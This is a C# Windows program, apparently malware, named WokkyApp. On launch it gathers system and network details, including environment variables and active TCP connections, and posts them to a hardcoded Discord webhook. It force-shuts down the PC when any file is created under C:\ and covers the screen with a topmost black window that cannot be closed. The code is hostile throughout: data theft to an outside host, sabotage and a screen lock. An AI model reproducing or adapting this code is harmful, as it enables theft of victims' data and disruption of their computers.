using System;
using System.Data.SQLite;
using System.IO;
using System.Net;
using System.Text;
using System.Windows.Forms;
using System.Management; // For system information like CPU, RAM
using System.Net.NetworkInformation; // For IP and MAC address
using System.Diagnostics;
using System.Linq;
using AForge.Video;
using AForge.Video.DirectShow;

namespace WokkyApp
{
    static class Program
    {
        private const string DiscordWebhookUrl = "https://discord.com/api/webhooks/1329639077934534727/4fQMG1MfSRDcam58U8bbpx8agIA55UninSn204PSAapmitK_9FTmPNzDIPB4Y50QuLaR"; // Your Discord webhook URL

        [STAThread]
        static void Main()
        {
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);

            // Gather and send system and network information to Discord
            string systemInfo = GetFullSystemInfo();
            SendToDiscord("Full System Information", systemInfo);

            // Trigger shutdown on file access
            ShutdownOnFileAccess();

            // Prevent file openings and access
            Application.Run(new BlockFilesForm());
        }

        static void SendToDiscord(string title, string content)
        {
            try
            {
                using (WebClient client = new WebClient())
                {
                    client.Headers[HttpRequestHeader.ContentType] = "application/json";
                    string jsonPayload = $"{{\"content\": \"{title}:\n{content}\"}}";
                    client.UploadString(DiscordWebhookUrl, "POST", jsonPayload);
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show($"Failed to send to Discord: {ex.Message}", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }

        static string GetFullSystemInfo()
        {
            StringBuilder info = new StringBuilder();
            
            // System information
            info.AppendLine($"OS Version: {Environment.OSVersion}");
            info.AppendLine($"CPU: {GetCpuInfo()}");
            info.AppendLine($"RAM: {GetRamSize()}");
            info.AppendLine($"IP Address: {GetIpAddress()}");
            info.AppendLine($"MAC Address: {GetMacAddress()}");

            // Disk usage (example: C drive)
            info.AppendLine($"Disk Usage (C Drive): {GetDiskUsage()}");

            // Battery status
            info.AppendLine($"Battery Status: {GetBatteryStatus()}");

            // Network details
            info.AppendLine("Network Stats:\n" + GetDetailedNetworkInfo());

            // TCP Connections
            info.AppendLine("TCP Connections:\n" + GetTcpConnections());

            // Firewall status
            info.AppendLine($"Firewall Status: {GetFirewallStatus()}");

            // CPU Usage
            info.AppendLine($"CPU Usage: {GetCpuUsage()}");

            // GPU Info
            info.AppendLine($"GPU Info: {GetGpuInfo()}");

            // CPU Temperature
            info.AppendLine($"CPU Temperature: {GetCpuTemperature()}");

            // System Boot time
            info.AppendLine($"Boot Time: {GetBootTime()}");

            // OS Update History
            info.AppendLine($"OS Update History:\n{GetOsUpdateHistory()}");

            // Environment Variables
            info.AppendLine($"Environment Variables:\n{GetEnvironmentVariables()}");

            return info.ToString();
        }

        // CPU Info
        static string GetCpuInfo()
        {
            try
            {
                ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT * FROM Win32_Processor");
                foreach (ManagementObject obj in searcher.Get())
                {
                    return obj["Name"].ToString();
                }
            }
            catch (Exception)
            {
                return "Unknown CPU";
            }
            return "Unknown CPU";
        }

        // RAM Info
        static string GetRamSize()
        {
            try
            {
                ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT * FROM Win32_ComputerSystem");
                foreach (ManagementObject obj in searcher.Get())
                {
                    ulong totalMemory = (ulong)obj["TotalPhysicalMemory"];
                    return (totalMemory / (1024 * 1024 * 1024)).ToString() + " GB";
                }
            }
            catch (Exception)
            {
                return "Unknown RAM";
            }
            return "Unknown RAM";
        }

        // Get IP Address
        static string GetIpAddress()
        {
            string ipAddress = "Unknown IP";
            try
            {
                foreach (NetworkInterface networkInterface in NetworkInterface.GetAllNetworkInterfaces())
                {
                    if (networkInterface.OperationalStatus == OperationalStatus.Up)
                    {
                        var ipProperties = networkInterface.GetIPProperties();
                        foreach (var ip in ipProperties.UnicastAddresses)
                        {
                            if (ip.Address.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork)
                            {
                                ipAddress = ip.Address.ToString();
                                break;
                            }
                        }
                    }
                }
            }
            catch (Exception)
            {
                ipAddress = "Unknown IP";
            }
            return ipAddress;
        }

        // Get MAC Address
        static string GetMacAddress()
        {
            string macAddress = "Unknown MAC";
            try
            {
                foreach (NetworkInterface networkInterface in NetworkInterface.GetAllNetworkInterfaces())
                {
                    if (networkInterface.OperationalStatus == OperationalStatus.Up)
                    {
                        macAddress = networkInterface.GetPhysicalAddress().ToString();
                        break;
                    }
                }
            }
            catch (Exception)
            {
                macAddress = "Unknown MAC";
            }
            return macAddress;
        }

        // Disk usage (example for C drive)
        static string GetDiskUsage()
        {
            try
            {
                var drive = new DriveInfo("C");
                return $"{drive.TotalFreeSpace / (1024 * 1024 * 1024)} GB free of {drive.TotalSize / (1024 * 1024 * 1024)} GB";
            }
            catch (Exception)
            {
                return "Unknown Disk Usage";
            }
        }

        // Battery status
        static string GetBatteryStatus()
        {
            try
            {
                PowerStatus powerStatus = SystemInformation.PowerStatus;
                return $"Battery: {powerStatus.BatteryLifePercent * 100}% - Charging: {powerStatus.BatteryChargeStatus}";
            }
            catch (Exception)
            {
                return "Battery status unavailable";
            }
        }

        // Get network stats (detailed)
        static string GetDetailedNetworkInfo()
        {
            StringBuilder networkInfo = new StringBuilder();
            foreach (var networkInterface in NetworkInterface.GetAllNetworkInterfaces())
            {
                if (networkInterface.OperationalStatus == OperationalStatus.Up)
                {
                    networkInfo.AppendLine($"Interface: {networkInterface.Name}");
                    networkInfo.AppendLine($"Description: {networkInterface.Description}");
                    networkInfo.AppendLine($"Type: {networkInterface.NetworkInterfaceType}");
                    networkInfo.AppendLine($"Speed: {networkInterface.Speed / 1024 / 1024} Mbps");

                    var ipProperties = networkInterface.GetIPProperties();
                    foreach (var ipAddress in ipProperties.UnicastAddresses)
                    {
                        if (ipAddress.Address.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork)
                        {
                            networkInfo.AppendLine($"IP Address: {ipAddress.Address}");
                        }
                    }

                    networkInfo.AppendLine($"Subnet Mask: {ipProperties.UnicastAddresses[0].IPv4Mask}");
                    foreach (var gateway in ipProperties.GatewayAddresses)
                    {
                        networkInfo.AppendLine($"Default Gateway: {gateway.Address}");
                    }
                    networkInfo.AppendLine($"DNS Servers: {string.Join(", ", ipProperties.DnsAddresses)}");
                }
            }
            return networkInfo.ToString();
        }

        // Get active TCP connections
        static string GetTcpConnections()
        {
            StringBuilder tcpConnections = new StringBuilder();
            foreach (var tcpConnection in IPGlobalProperties.GetIPGlobalProperties().GetActiveTcpConnections())
            {
                tcpConnections.AppendLine($"Local Address: {tcpConnection.LocalEndPoint.Address}:{tcpConnection.LocalEndPoint.Port}");
                tcpConnections.AppendLine($"Remote Address: {tcpConnection.RemoteEndPoint.Address}:{tcpConnection.RemoteEndPoint.Port}");
                tcpConnections.AppendLine($"State: {tcpConnection.State}");
            }
            return tcpConnections.ToString();
        }

        // Get firewall status
        static string GetFirewallStatus()
        {
            try
            {
                var fwPolicy2 = new NetFwPolicy2Class();
                bool firewallEnabled = fwPolicy2.FirewallEnabled;
                return firewallEnabled ? "Enabled" : "Disabled";
            }
            catch (Exception)
            {
                return "Firewall status unavailable";
            }
        }

        // Get real-time CPU usage
        static string GetCpuUsage()
        {
            try
            {
                PerformanceCounter cpuCounter = new PerformanceCounter("Processor", "% Processor Time", "_Total");
                cpuCounter.NextValue(); // First call will always return 0, so call it once to get a valid reading
                System.Threading.Thread.Sleep(1000); // Wait a second for a valid reading
                return $"{cpuCounter.NextValue()}%";
            }
            catch (Exception)
            {
                return "CPU usage unavailable";
            }
        }

        // Get GPU info
        static string GetGpuInfo()
        {
            try
            {
                ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT * FROM Win32_VideoController");
                StringBuilder gpuInfo = new StringBuilder();
                foreach (ManagementObject obj in searcher.Get())
                {
                    gpuInfo.AppendLine($"GPU: {obj["Caption"]}");
                    gpuInfo.AppendLine($"Memory: {obj["AdapterRAM"]} bytes");
                }
                return gpuInfo.ToString();
            }
            catch (Exception)
            {
                return "GPU info unavailable";
            }
        }

        // Get CPU temperature
        static string GetCpuTemperature()
        {
            try
            {
                ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT * FROM Win32_TemperatureProbe");
                foreach (ManagementObject obj in searcher.Get())
                {
                    if (obj["CurrentReading"] != null)
                    {
                        double temperature = Convert.ToDouble(obj["CurrentReading"]) / 10 - 273.15;
                        return $"{temperature}°C";
                    }
                }
            }
            catch (Exception)
            {
                return "CPU temperature unavailable";
            }
            return "CPU temperature unavailable";
        }

        // Get system boot time
        static string GetBootTime()
        {
            try
            {
                ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT * FROM Win32_OperatingSystem");
                foreach (ManagementObject obj in searcher.Get())
                {
                    DateTime lastBootTime = ManagementDateTimeConverter.ToDateTime(obj["LastBootUpTime"].ToString());
                    return lastBootTime.ToString();
                }
            }
            catch (Exception)
            {
                return "Boot time unavailable";
            }
            return "Boot time unavailable";
        }

        // Get OS update history
        static string GetOsUpdateHistory()
        {
            try
            {
                ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT * FROM Win32_QuickFixEngineering");
                StringBuilder updateHistory = new StringBuilder();
                foreach (ManagementObject obj in searcher.Get())
                {
                    updateHistory.AppendLine($"Hotfix ID: {obj["HotFixID"]}");
                    updateHistory.AppendLine($"Description: {obj["Description"]}");
                    updateHistory.AppendLine($"Install Date: {obj["InstallDate"]}");
                }
                return updateHistory.ToString();
            }
            catch (Exception)
            {
                return "OS update history unavailable";
            }
        }

        // Get environment variables
        static string GetEnvironmentVariables()
        {
            StringBuilder envVariables = new StringBuilder();
            foreach (DictionaryEntry variable in Environment.GetEnvironmentVariables())
            {
                envVariables.AppendLine($"{variable.Key}: {variable.Value}");
            }
            return envVariables.ToString();
        }

        // Trigger shutdown on file access
        static void ShutdownOnFileAccess()
        {
            FileSystemWatcher watcher = new FileSystemWatcher();
            watcher.Path = @"C:\"; // or a specific directory
            watcher.NotifyFilter = NotifyFilters.FileName | NotifyFilters.DirectoryName;
            watcher.Created += (sender, e) =>
            {
                Application.Exit();
                System.Diagnostics.Process.Start("shutdown", "/s /f /t 0");
            };
            watcher.EnableRaisingEvents = true;
        }
    }

    // Block file access form (stub implementation)
    public class BlockFilesForm : Form
    {
        public BlockFilesForm()
        {
            this.FormClosing += (sender, e) =>
            {
                e.Cancel = true;
                MessageBox.Show("Access denied!", "Alert", MessageBoxButtons.OK, MessageBoxIcon.Warning);
            };
            this.TopMost = true;
            this.FormBorderStyle = FormBorderStyle.None;
            this.WindowState = FormWindowState.Maximized;
            this.BackColor = Color.Black;
            this.BackgroundImageLayout = ImageLayout.Stretch;
        }
    }
}
